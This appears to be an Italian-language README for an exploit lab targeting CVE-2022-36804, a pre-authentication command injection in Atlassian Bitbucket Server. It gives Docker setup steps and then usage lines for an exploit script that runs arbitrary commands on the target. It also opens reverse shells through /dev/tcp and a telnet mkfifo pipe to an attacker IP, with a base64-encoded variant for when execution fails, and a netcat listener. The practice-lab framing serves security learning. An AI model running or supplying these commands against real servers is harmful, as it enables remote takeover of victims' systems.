CVE-2022-36804: RCE pre-autenticazione in Atlassian Bitbucket Server

Una vulnerabilità critica di command injection è stata trovata in molteplici endpoint API di Atlassian Bit bucket Server e Data center. Questa vulnerabilità riguarda tutte le versioni di Bitbucket Server e Data Center rilasciate prima delle versioni <7.6.17>, <7.17.10>, <7.21.4>, <8.0.3>, <8.1.2>, <8.2.2> e <8.3.1>

Laboratorio per CVE-2022-36804

Compilazione Docker

docker build -t bitbucket .

Esecuzione Docker

docker run -it bitbucket

Utilizzo di cve-2022-36804.py

Verifica dell'esecuzione remota di codice (RCE)

python3 cve-2022-36804.py -u http://172.17.0.2:7990

Verifica di RCE con comando personalizzato (cmd)

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id

Verifica di RCE con comando personalizzato, chiave di progetto e nome del repository

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo

Verifica per repository privato

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -p NEW -r newrepo --session 2074C8FFA5D13088332C8DF0CD8A7CE7

Ottieni una shell con netcat

Sostituisci 172.17.0.3 con il tuo indirizzo IP locale

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1"

Avvia il listener di netcat con:

nc -lvp 4444

Converti /bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1 in base64 in caso di errore di esecuzione del payload.

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjMvNDQ0NCAwPiYx' | base64 -d | bash |"

Se riscontri ancora errori, esegui il comando seguente:

TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF"

Si consiglia di installare una versione vulnerabile di Bitbucket Server su una macchina Windows/Linux per esercitarsi. Sarà facile ottenere una reverse shell rispetto alle immagini Docker.

Maggiori informazioni sono disponibili qui

Riferimenti

• https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
• https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/